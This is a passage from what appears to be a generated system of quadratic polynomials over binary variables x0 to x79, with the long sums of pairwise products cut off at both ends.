+ x13*x43 + x13*x48 + x13*x50 + x13*x52 + x13*x54 + x13*x55 + x13*x58 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x65 + x13*x66 + x13*x67 + x13*x70 + x13*x71 + x13*x72 + x13*x75 + x13*x76 + x13*x77 + x13*x78 + x13*x79 + x14*x15 + x14*x16 + x14*x18 + x14*x27 + x14*x29 + x14*x30 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x40 + x14*x41 + x14*x42 + x14*x43 + x14*x44 + x14*x46 + x14*x48 + x14*x50 + x14*x51 + x14*x52 + x14*x53 + x14*x56 + x14*x59 + x14*x60 + x14*x63 + x14*x64 + x14*x65 + x14*x68 + x14*x70 + x14*x72 + x14*x74 + x14*x75 + x14 + x15*x17 + x15*x18 + x15*x19 + x15*x20 + x15*x21 + x15*x22 + x15*x23 + x15*x24 + x15*x29 + x15*x30 + x15*x32 + x15*x35 + x15*x37 + x15*x38 + x15*x39 + x15*x46 + x15*x47 + x15*x48 + x15*x52 + x15*x53 + x15*x55 + x15*x56 + x15*x57 + x15*x58 + x15*x59 + x15*x61 + x15*x64 + x15*x70 + x15*x72 + x15*x75 + x15*x78 + x15*x79 + x16*x18 + x16*x19 + x16*x20 + x16*x24 + x16*x29 + x16*x30 + x16*x32 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x37 + x16*x39 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x47 + x16*x48 + x16*x49 + x16*x51 + x16*x52 + x16*x53 + x16*x57 + x16*x60 + x16*x61 + x16*x62 + x16*x65 + x16*x69 + x16*x71 + x16*x74 + x16*x75 + x16*x76 + x16*x77 + x16*x78 + x17*x21 + x17*x24 + x17*x25 + x17*x26 + x17*x27 + x17*x29 + x17*x30 + x17*x32 + x17*x33 + x17*x34 + x17*x36 + x17*x37 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x48 + x17*x49 + x17*x50 + x17*x51 + x17*x52 + x17*x53 + x17*x55 + x17*x56 + x17*x61 + x17*x62 + x17*x63 + x17*x64 + x17*x66 + x17*x67 + x17*x69 + x17*x70 + x17*x73 + x17*x75 + x17*x76 + x17 + x18*x21 + x18*x24 + x18*x25 + x18*x26 + x18*x28 + x18*x29 + x18*x33 + x18*x34 + x18*x35 + x18*x37 + x18*x38 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x46 + x18*x47 + x18*x56 + x18*x58 + x18*x59 + x18*x60 + x18*x64 + x18*x65 + x18*x66 + x18*x67 + x18*x74 + x18*x75 + x18*x78 + x18*x79 + x19*x20 + x19*x27 + x19*x28 + x19*x29 + x19*x32 + x19*x38 + x19*x39 + x19*x41 + x19*x45 + x19*x47 + x19*x49 + x19*x57 + x19*x58 + x19*x60 + x19*x61 + x19*x65 + x19*x66 + x19*x68 + x19*x70 + x19*x73 + x19*x74 + x19*x75 + x19*x79 + x19 + x20*x22 + x20*x24 + x20*x27 + x20*x28 + x20*x29 + x20*x30 + x20*x33 + x20*x36 + x20*x38 + x20*x39 + x20*x40 + x20*x42 + x20*x43 + x20*x44 + x20*x46 + x20*x48 + x20*x49 + x20*x51 + x20*x52 + x20*x54 + x20*x56 + x20*x60 + x20*x61 + x20*x62 + x20*x63 + x20*x66 + x20*x68 + x20*x72 + x20*x75 + x20*x77 + x20*x78 + x20 + x21*x24 + x21*x26 + x21*x27 + x21*x31 + x21*x32 + x21*x33 + x21*x34 + x21*x36 + x21*x39 + x21*x40 + x21*x42 + x21*x43 + x21*x44 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x50 + x21*x51 + x21*x54 + x21*x55 + x21*x56 + x21*x57 + x21*x59 + x21*x60 + x21*x61 + x21*x64 + x21*x65 + x21*x68 + x21*x73 + x21*x74 + x21*x75 + x21*x78 + x22*x24 + x22*x26 + x22*x28 + x22*x29 + x22*x30 + x22*x32 + x22*x34 + x22*x36 + x22*x37 + x22*x38 + x22*x43 + x22*x45 + x22*x46 + x22*x47 + x22*x48 + x22*x52 + x22*x54 + x22*x58 + x22*x61 + x22*x62 + x22*x63 + x22*x66 + x22*x68 + x22*x73 + x22*x75 + x23*x24 + x23*x27 + x23*x30 + x23*x33 + x23*x34 + x23*x36 + x23*x37 + x23*x38 + x23*x41 + x23*x42 + x23*x43 + x23*x45 + x23*x48 + x23*x51 + x23*x54 + x23*x55 + x23*x56 + x23*x59 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x69 + x23*x70 + x23*x71 + x23*x73 + x23*x75 + x23*x76 + x24*x26 + x24*x28 + x24*x29 + x24*x32 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x42 + x24*x48 + x24*x49 + x24*x50 + x24*x52 + x24*x53 + x24*x55 + x24*x56 + x24*x58 + x24*x59 + x24*x61 + x24*x64 + x24*x65 + x24*x66 + x24*x68 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x75 + x24*x76 + x24*x77 + x24 + x25*x30 + x25*x32 + x25*x34 + x25*x35 + x25*x36 + x25*x40 + x25*x41 + x25*x44 + x25*x46 + x25*x49 + x25*x52 + x25*x53 + x25*x55 + x25*x56 + x25*x57 + x25*x62 + x25*x63 + x25*x66 + x25*x69 + x25*x71 + x25*x75 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x28 + x26*x29 + x26*x33 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x40 + x26*x41 + x26*x42 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x51 + x26*x52 + x26*x54 + x26*x59 + x26*x61 + x26*x65 + x26*x68 + x26*x71 + x26*x74 + x26*x76 + x26*x77 + x27*x29 + x27*x39 + x27*x42 + x27*x44 + x27*x45 + x27*x50 + x27*x51 + x27*x53 + x27*x54 + x27*x57 + x27*x58 + x27*x59 + x27*x64 + x27*x65 + x27*x67 + x27*x69 + x27*x70 + x27*x71 + x27*x73 + x27*x74 + x27*x76 + x27*x78 + x27*x79 + x28*x29 + x28*x33 + x28*x35 + x28*x39 + x28*x40 + x28*x42 + x28*x43 + x28*x44 + x28*x46 + x28*x47 + x28*x49 + x28*x50 + x28*x52 + x28*x54 + x28*x56 + x28*x58 + x28*x59 + x28*x61 + x28*x63 + x28*x65 + x28*x67 + x28*x70 + x28*x72 + x28*x75 + x28*x78 + x28*x79 + x29*x32 + x29*x34 + x29*x35 + x29*x36 + x29*x37 + x29*x39 + x29*x44 + x29*x46 + x29*x47 + x29*x48 + x29*x51 + x29*x52 + x29*x53 + x29*x55 + x29*x58 + x29*x59 + x29*x61 + x29*x62 + x29*x64 + x29*x68 + x29*x71 + x29*x76 + x29*x78 + x29*x79 + x29 + x30*x32 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x42 + x30*x44 + x30*x45 + x30*x47 + x30*x52 + x30*x53 + x30*x54 + x30*x55 + x30*x56 + x30*x57 + x30*x61 + x30*x62 + x30*x65 + x30*x67 + x30*x69 + x30*x70 + x30*x71 + x30*x74 + x30*x77 + x30*x78 + x30*x79 + x30 + x31*x34 + x31*x36 + x31*x39 + x31*x41 + x31*x45 + x31*x47 + x31*x48 + x31*x49 + x31*x50 + x31*x57 + x31*x58 + x31*x59 + x31*x62 + x31*x63 + x31*x66 + x31*x68 + x31*x71 + x31*x75 + x32*x33 + x32*x38 + x32*x40 + x32*x41 + x32*x42 + x32*x44 + x32*x45 + x32*x46 + x32*x50 + x32*x51 + x32*x52 + x32*x57 + x32*x58 + x32*x61 + x32*x62 + x32*x63 + x32*x65 + x32*x68 + x32*x72 + x32*x73 + x32*x75 + x32*x79 + x33*x38 + x33*x41 + x33*x42 + x33*x43 + x33*x44 + x33*x46 + x33*x47 + x33*x52 + x33*x53 + x33*x55 + x33*x57 + x33*x58 + x33*x62 + x33*x64 + x33*x67 + x33*x68 + x33*x69 + x33*x70 + x33*x74 + x33*x75 + x33*x77 + x34*x35 + x34*x36 + x34*x37 + x34*x41 + x34*x42 + x34*x43 + x34*x45 + x34*x46 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x54 + x34*x55 + x34*x56 + x34*x59 + x34*x64 + x34*x66 + x34*x67 + x34*x68 + x34*x69 + x34*x72 + x34*x74 + x34*x76 + x35*x36 + x35*x37 + x35*x39 + x35*x41 + x35*x42 + x35*x44 + x35*x45 + x35*x47 + x35*x48 + x35*x51 + x35*x52 + x35*x54 + x35*x56 + x35*x58 + x35*x61 + x35*x62 + x35*x63 + x35*x65 + x35*x68 + x35*x69 + x35*x72 + x35*x73 + x35*x74 + x35*x78 + x35*x79 + x36*x38 + x36*x39 + x36*x43 + x36*x47 + x36*x53 + x36*x54 + x36*x55 + x36*x56 + x36*x57 + x36*x59 + x36*x61 + x36*x64 + x36*x65 + x36*x68 + x36*x69 + x36*x71 + x36*x76 + x36*x79 + x36 + x37*x38 + x37*x39 + x37*x41 + x37*x42 + x37*x43 + x37*x46 + x37*x47 + x37*x48 + x37*x50 + x37*x53 + x37*x54 + x37*x55 + x37*x58 + x37*x59 + x37*x60 + x37*x61 + x37*x64 + x37*x65 + x37*x68 + x37*x70 + x37*x72 + x37*x73 + x37*x76 + x37 + x38*x42 + x38*x43 + x38*x45 + x38*x46 + x38*x48 + x38*x51 + x38*x55 + x38*x60 + x38*x61 + x38*x62 + x38*x64 + x38*x66 + x38*x67 + x38*x68 + x38*x71 + x38*x72 + x38*x75 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x43 + x39*x46 + x39*x50 + x39*x51 + x39*x52 + x39*x53 + x39*x55 + x39*x57 + x39*x60 + x39*x61 + x39*x64 + x39*x66 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x77 + x39*x79 + x40*x41 + x40*x42 + x40*x43 + x40*x47 + x40*x50 + x40*x51 + x40*x53 + x40*x54 + x40*x55 + x40*x58 + x40*x61 + x40*x62 + x40*x63 + x40*x66 + x40*x67 + x40*x68 + x40*x70 + x40*x71 + x40*x72 + x40*x73 + x40*x75 + x40*x78 + x41*x44 + x41*x48 + x41*x49 + x41*x50 + x41*x52 + x41*x53 + x41*x54 + x41*x56 + x41*x58 + x41*x59 + x41*x60 + x41*x61 + x41*x63 + x41*x65 + x41*x66 + x41*x69 + x41*x70 + x41*x72 + x41*x74 + x41*x76 + x41*x78 + x41*x79 + x42*x46 + x42*x47 + x42*x48 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x56 + x42*x59 + x42*x60 + x42*x62 + x42*x64 + x42*x68 + x42*x71 + x42*x72 + x42*x74 + x42*x76 + x42*x78 + x42*x79 + x42 + x43*x45 + x43*x46 + x43*x51 + x43*x52 + x43*x53 + x43*x56 + x43*x57 + x43*x58 + x43*x62 + x43*x63 + x43*x64 + x43*x66 + x43*x69 + x43*x71 + x43*x72 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x46 + x44*x48 + x44*x51 + x44*x53 + x44*x54 + x44*x55 + x44*x56 + x44*x57 + x44*x58 + x44*x59 + x44*x64 + x44*x66 + x44*x68 + x44*x70 + x44*x71 + x44*x75 + x44*x76 + x44*x77 + x44*x78 + x45*x46 + x45*x47 + x45*x50 + x45*x51 + x45*x52 + x45*x53 + x45*x55 + x45*x56 + x45*x61 + x45*x64 + x45*x67 + x45*x70 + x45*x71 + x45*x72 + x45*x73 + x45*x74 + x45*x78 + x46*x47 + x46*x48 + x46*x49 + x46*x50 + x46*x52 + x46*x53 + x46*x54 + x46*x56 + x46*x59 + x46*x60 + x46*x63 + x46*x65 + x46*x66 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x76 + x46*x77 + x46*x78 + x47*x54 + x47*x55 + x47*x56 + x47*x57 + x47*x58 + x47*x60 + x47*x62 + x47*x65 + x47*x66 + x47*x67 + x47*x68 + x47*x69 + x47*x74 + x47*x77 + x47*x79 + x48*x49 + x48*x50 + x48*x51 + x48*x52 + x48*x56 + x48*x57 + x48*x58 + x48*x60 + x48*x61 + x48*x62 + x48*x67 + x48*x68 + x48*x69 + x48*x72 + x48*x73 + x48*x74 + x48*x78 + x49*x54 + x49*x55 + x49*x56 + x49*x58 + x49*x59 + x49*x60 + x49*x61 + x49*x62 + x49*x64 + x49*x65 + x49*x66 + x49*x68 + x49*x69 + x49*x70 + x49*x73 + x49*x76 + x49*x77 + x49*x79 + x50*x52 + x50*x55 + x50*x56 + x50*x57 + x50*x59 + x50*x62 + x50*x63 + x50*x64 + x50*x67 + x50*x70 + x50*x72 + x50*x73 + x50*x75 + x50*x76 + x51*x52 + x51*x53 + x51*x56 + x51*x58 + x51*x59 + x51*x62 + x51*x65 + x51*x70 + x51*x71 + x51*x74 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x54 + x52*x55 + x52*x57 + x52*x58 + x52*x62 + x52*x63 + x52*x65 + x52*x67 + x52*x69 + x52*x70 + x52*x73 + x52*x74 + x52*x75 + x52*x76 + x52*x78 + x52*x79 + x53*x54 + x53*x55 + x53*x56 + x53*x57 + x53*x58 + x53*x59 + x53*x61 + x53*x62 + x53*x64 + x53*x66 + x53*x68 + x53*x69 + x53*x70 + x53*x71 + x53*x74 + x53*x78 + x54*x56 + x54*x57 + x54*x59 + x54*x61 + x54*x62 + x54*x64 + x54*x65 + x54*x66 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x74 + x54*x76 + x54 + x55*x58 + x55*x61 + x55*x62 + x55*x63 + x55*x65 + x55*x66 + x55*x70 + x55*x72 + x55*x73 + x55*x77 + x55 + x56*x57 + x56*x59 + x56*x61 + x56*x63 + x56*x64 + x56*x66 + x56*x67 + x56*x72 + x56*x73 + x56*x75 + x56 + x57*x60 + x57*x61 + x57*x62 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x70 + x57*x74 + x57*x75 + x57*x76 + x58*x59 + x58*x60 + x58*x65 + x58*x66 + x58*x69 + x58*x70 + x58*x71 + x58*x73 + x58*x77 + x58*x78 + x58*x79 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x71 + x59*x74 + x59*x76 + x59*x78 + x59*x79 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x68 + x60*x70 + x60*x73 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x66 + x61*x67 + x61*x68 + x61*x69 + x61*x70 + x61*x73 + x61*x74 + x61*x75 + x61*x76 + x62*x64 + x62*x65 + x62*x67 + x62*x69 + x62*x70 + x62*x71 + x62*x72 + x62*x76 + x62*x79 + x62 + x63*x64 + x63*x67 + x63*x70 + x63*x71 + x63*x74 + x63*x75 + x63*x78 + x63*x79 + x64*x65 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x72 + x64*x76 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x68 + x65*x69 + x65*x71 + x65*x72 + x65*x74 + x65*x77 + x65*x78 + x65*x79 + x66*x67 + x66*x70 + x66*x71 + x66*x74 + x66*x75 + x66*x77 + x66*x79 + x67*x70 + x67*x71 + x67*x73 + x67*x74 + x67*x79 + x67 + x68*x69 + x68*x71 + x68*x74 + x68*x75 + x68*x76 + x68*x79 + x68 + x69*x71 + x69*x72 + x69*x75 + x70*x71 + x70*x72 + x70*x74 + x70*x75 + x70*x79 + x70 + x71*x72 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x78 + x72*x77 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x78 + x73*x79 + x74*x76 + x74*x79 + x75*x76 + x75*x77 + x76*x77 + x76*x78 + x76*x79 + x77*x79 + x77 + x78 + 1, x0*x1 + x0*x2 + x0*x8 + x0*x15 + x0*x16 + x0*x17 + x0*x20 + x0*x21 + x0*x22 + x0*x26 + x0*x27 + x0*x30 + x0*x31 + x0*x33 + x0*x37 + x0*x38 + x0*x39 + x0*x40 + x0*x44 + x0*x45 + x0*x47 + x0*x48 + x0*x52 + x0*x54 + x0*x55 + x0*x57 + x0*x59 + x0*x60 + x0*x62 + x0*x63 + x0*x65 + x0*x67 + x0*x69 + x0*x70 + x0*x72 + x0*x75 + x0*x76 + x0*x78 + x1*x2 + x1*x3 + x1*x4 + x1*x5 + x1*x6 + x1*x7 + x1*x9 + x1*x10 + x1*x11 + x1*x13 + x1*x15 + x1*x16 + x1*x17 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x26 + x1*x28 + x1*x31 + x1*x33 + x1*x35 + x1*x37 + x1*x38 + x1*x39 + x1*x41 + x1*x42 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x49 + x1*x50 + x1*x51 + x1*x52 + x1*x57 + x1*x59 + x1*x61 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x79 + x1 + x2*x6 + x2*x8 + x2*x9 + x2*x13 + x2*x14 + x2*x15 + x2*x16 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x29 + x2*x30 + x2*x33 + x2*x35 + x2*x37 + x2*x39 + x2*x44 + x2*x46 + x2*x48 + x2*x51 + x2*x52 + x2*x53 + x2*x60 + x2*x62 + x2*x63 + x2*x65 + x2*x66 + x2*x69 + x2*x70 + x2*x73 + x2*x74 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x7 + x3*x10 + x3*x15 + x3*x16 + x3*x19 + x3*x20 + x3*x23 + x3*x24 + x3*x25 + x3*x27 + x3*x29 + x3*x31 + x3*x32 + x3*x33 + x3*x34 + x3*x35 + x3*x36 + x3*x38 + x3*x39 + x3*x46 + x3*x47 + x3*x50 + x3*x62 + x3*x64 + x3*x67 + x3*x68 + x3*x69 + x3*x70 + x3*x72 + x3*x77 + x3*x78 + x3 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x11 + x4*x12 + x4*x14 + x4*x17 + x4*x18 + x4*x19 + x4*x20 + x4*x22 + x4*x25 + x4*x30 + x4*x32 + x4*x33 + x4*x36 + x4*x39 + x4*x40 + x4*x41 + x4*x42 + x4*x44 + x4*x45 + x4*x48 + x4*x51 + x4*x52 + x4*x54 + x4*x55 + x4*x56 + x4*x57 + x4*x59 + x4*x60 + x4*x62 + x4*x66 + x4*x69 + x4*x73 + x4*x79 + x5*x7 + x5*x10 + x5*x13 + x5*x15 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x24 + x5*x25 + x5*x28 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x33 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x43 + x5*x45 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x54 + x5*x55 + x5*x57 + x5*x58 + x5*x59 + x5*x62 + x5*x66 + x5*x67 + x5*x68 + x5*x69 + x5*x71 + x5*x72 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x10 + x6*x11 + x6*x12 + x6*x13 + x6*x14 + x6*x16 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x26 + x6*x28 + x6*x30 + x6*x38 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x44 + x6*x45 + x6*x47 + x6*x48 + x6*x49 + x6*x51 + x6*x53 + x6*x54 + x6*x55 + x6*x57 + x6*x59 + x6*x60 + x6*x61 + x6*x62 + x6*x65 + x6*x66 + x6*x67 + x6*x71 + x6*x72 + x6*x75 + x6*x76 + x6*x77 + x7*x9 + x7*x10 + x7*x11 + x7*x13 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x25 + x7*x26 + x7*x29 + x7*x30 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x38 + x7*x40 + x7*x41 + x7*x44 + x7*x45 + x7*x50 + x7*x51 + x7*x54 + x7*x55 + x7*x57 + x7*x64 + x7*x65 + x7*x66 + x7*x67 + x7*x68 + x7*x70 + x7*x71 + x7*x74 + x7*x77 + x7*x79 + x7 + x8*x9 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x21 + x8*x22 + x8*x24 + x8*x28 + x8*x30 + x8*x31 + x8*x32 + x8*x33 + x8*x41 + x8*x46 + x8*x49 + x8*x50 + x8*x51 + x8*x52 + x8*x53 + x8*x54 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x65 + x8*x67 + x8*x69 + x8*x70 + x8*x73 + x8*x74 + x8*x77 + x8*x78 + x8 + x9*x10 + x9*x12 + x9*x15 + x9*x17 + x9*x18 + x9*x25 + x9*x34 + x9*x36 + x9*x37 + x9*x38 + x9*x43 + x9*x47 + x9*x48 + x9*x49 + x9*x51 + x9*x52 + x9*x53 + x9*x57 + x9*x59 + x9*x60 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x66 + x9*x71 + x9*x73 + x9*x74 + x9*x76 + x9 + x10*x13 + x10*x14 + x10*x16 + x10*x17 + x10*x18 + x10*x19 + x10*x20 + x10*x25 + x10*x28 + x10*x29 + x10*x30 + x10*x32 + x10*x33 + x10*x34 + x10*x35 + x10*x37 + x10*x38 + x10*x39 + x10*x41 + x10*x45 + x10*x47 + x10*x52 + x10*x54 + x10*x56 + x10*x60 + x10*x61 + x10*x65 + x10*x66 + x10*x68 + x10*x70 + x10*x72 + x10*x73 + x10*x76 + x10*x78 + x11*x13 + x11*x15 + x11*x17 + x11*x19 + x11*x20 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x29 + x11*x30 + x11*x31 + x11*x32 + x11*x35 + x11*x36 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x46 + x11*x47 + x11*x51 + x11*x56 + x11*x57 + x11*x59 + x11*x61 + x11*x62 + x11*x65 + x11*x66 + x11*x67 + x11*x69 + x11*x71 + x11*x74 + x11*x77 + x11*x78 + x11 + x12*x15 + x12*x16 + x12*x19 + x12*x23 + x12*x27 + x12*x30 + x12*x33 + x12*x34 + x12*x36 + x12*x37 + x12*x38 + x12*x39 + x12*x40 + x12*x42 + x12*x43 + x12*x44 + x12*x47 + x12*x50 + x12*x51 + x12*x53 + x12*x55 + x12*x60 + x12*x61 + x12*x62 + x12*x67 + x12*x68 + x12*x69 + x12*x74 + x12*x76 + x12 + x13*x15 + x13*x18 + x13*x19 + x13*x20 + x13*x22 + x13*x23 + x13*x24 + x13*x27 + x13*x29 + x13*x31 + x13*x32 + x13*x35 + x13*x37 + x13*x40 + x13*x42 + x13*x43 + x13*x44 + x13*x46 + x13*x47 + x13*x49 + x13*x52 + x13*x53 + x13*x56 + x13*x58 + x13*x60 + x13*x62 + x13*x63 + x13*x64 + x13*x67 + x13*x69 + x13*x70 + x13*x72 + x13*x73 + x13*x75 + x13*x77 + x13*x79 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x21 + x14*x25 + x14*x30 + x14*x32 + x14*x33 + x14*x34 + x14*x36 + x14*x37 + x14*x39 + x14*x40 + x14*x41 + x14*x45 + x14*x46 + x14*x52 + x14*x56 + x14*x57 + x14*x60 + x14*x61 + x14*x64 + x14*x66 + x14*x71 + x14*x72 + x14*x74 + x15*x19 + x15*x23 + x15*x24 + x15*x25 + x15*x28 + x15*x29 + x15*x33 + x15*x36 + x15*x39 + x15*x42 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x51 + x15*x52 + x15*x58 + x15*x60 + x15*x65 + x15*x67 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x76 + x15*x78 + x15*x79 + x16*x18 + x16*x21 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x35 + x16*x37 + x16*x38 + x16*x42 + x16*x44 + x16*x47 + x16*x48 + x16*x49 + x16*x50 + x16*x53 + x16*x54 + x16*x55 + x16*x56 + x16*x58 + x16*x60 + x16*x61 + x16*x65 + x16*x66 + x16*x71 + x16*x72 + x16*x73 + x16*x74 + x16*x75 + x16*x76 + x16*x79 + x16 + x17*x18 + x17*x20 + x17*x21 + x17*x22 + x17*x24 + x17*x25 + x17*x26 + x17*x28 + x17*x29 + x17*x30 + x17*x35 + x17*x36 + x17*x40 + x17*x41 + x17*x42 + x17*x44 + x17*x45 + x17*x47 + x17*x50 + x17*x51 + x17*x52 + x17*x54 + x17*x57 + x17*x58 + x17*x59 + x17*x60 + x17*x61 + x17*x62 + x17*x65 + x17*x67 + x17*x69 + x17*x70 + x17*x72 + x17*x77 + x17*x79 + x18*x19 + x18*x20 + x18*x21 + x18*x23 + x18*x24 + x18*x27 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x36 + x18*x41 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x58 + x18*x59 + x18*x63 + x18*x64 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x73 + x18*x74 + x18*x76 + x18*x78 + x18*x79 + x19*x20 + x19*x21 + x19*x22 + x19*x23 + x19*x24 + x19*x26 + x19*x33 + x19*x34 + x19*x36 + x19*x37 + x19*x39 + x19*x47 + x19*x51 + x19*x52 + x19*x56 + x19*x63 + x19*x65 + x19*x66 + x19*x68 + x19*x69 + x19*x70 + x19*x73 + x19*x74 + x19*x78 + x20*x21 + x20*x26 + x20*x28 + x20*x29 + x20*x31 + x20*x32 + x20*x37 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x43 + x20*x44 + x20*x45 + x20*x46 + x20*x49 + x20*x57 + x20*x58 + x20*x60 + x20*x61 + x20*x66 + x20*x67 + x20*x68 + x20*x71 + x20*x72 + x20*x73 + x20*x75 + x20*x76 + x20*x77 + x20*x79 + x20 + x21*x22 + x21*x24 + x21*x25 + x21*x28 + x21*x31 + x21*x33 + x21*x34 + x21*x35 + x21*x36 + x21*x37 + x21*x40 + x21*x42 + x21*x45 + x21*x46 + x21*x47 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x58 + x21*x62 + x21*x63 + x21*x71 + x21*x72 + x21*x75 + x21*x76 + x21*x79 + x21 + x22*x24 + x22*x25 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x33 + x22*x35 + x22*x38 + x22*x40 + x22*x43 + x22*x46 + x22*x50 + x22*x51 + x22*x53 + x22*x56 + x22*x57 + x22*x58 + x22*x62 + x22*x65 + x22*x67 + x22*x68 + x22*x70 + x22*x71 + x22*x73 + x22*x75 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x28 + x23*x30 + x23*x31 + x23*x41 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x48 + x23*x50 + x23*x51 + x23*x53 + x23*x54 + x23*x57 + x23*x60 + x23*x61 + x23*x62 + x23*x63 + x23*x66 + x23*x69 + x23*x70 + x23*x73 + x23*x74 + x23*x78 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x30 + x24*x36 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x43 + x24*x47 + x24*x52 + x24*x53 + x24*x56 + x24*x63 + x24*x65 + x24*x73 + x24*x78 + x24 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x48 + x25*x49 + x25*x52 + x25*x53 + x25*x54 + x25*x55 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x66 + x25*x67 + x25*x70 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x79 + x26*x27 + x26*x28 + x26*x29 + x26*x31 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x40 + x26*x45 + x26*x46 + x26*x48 + x26*x49 + x26*x51 + x26*x53 + x26*x54 + x26*x57 + x26*x60 + x26*x63 + x26*x64 + x26*x65 + x26*x69 + x26*x71 + x26*x72 + x26*x73 + x26*x74 + x27*x29 + x27*x30 + x27*x32 + x27*x34 + x27*x43 + x27*x44 + x27*x45 + x27*x46 + x27*x49 + x27*x52 + x27*x55 + x27*x56 + x27*x57 + x27*x59 + x27*x60 + x27*x61 + x27*x64 + x27*x65 + x27*x66 + x27*x67 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x79 + x28*x29 + x28*x30 + x28*x32 + x28*x34 + x28*x36 + x28*x37 + x28*x39 + x28*x40 + x28*x42 + x28*x45 + x28*x46 + x28*x49 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + x28*x58 + x28*x59 + x28*x61 + x28*x63 + x28*x64 + x28*x68 + x28*x74 + x28*x76 + x28*x77 + x28*x79 + x28 + x29*x32 + x29*x33 + x29*x34 + x29*x35 + x29*x36 + x29*x37 + x29*x39 + x29*x41 + x29*x45 + x29*x46 + x29*x48 + x29*x52 + x29*x55 + x29*x56 + x29*x57 + x29*x59 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x67 + x29*x68 + x29*x72 + x29*x74 + x29*x76 + x29*x78 + x29*x79 + x29 + x30*x33 + x30*x34 + x30*x35 + x30*x36 + x30*x37 + x30*x41 + x30*x42 + x30*x43 + x30*x45 + x30*x46 + x30*x53 + x30*x54 + x30*x55 + x30*x56 + x30*x60 + x30*x62 + x30*x67 + x30*x68 + 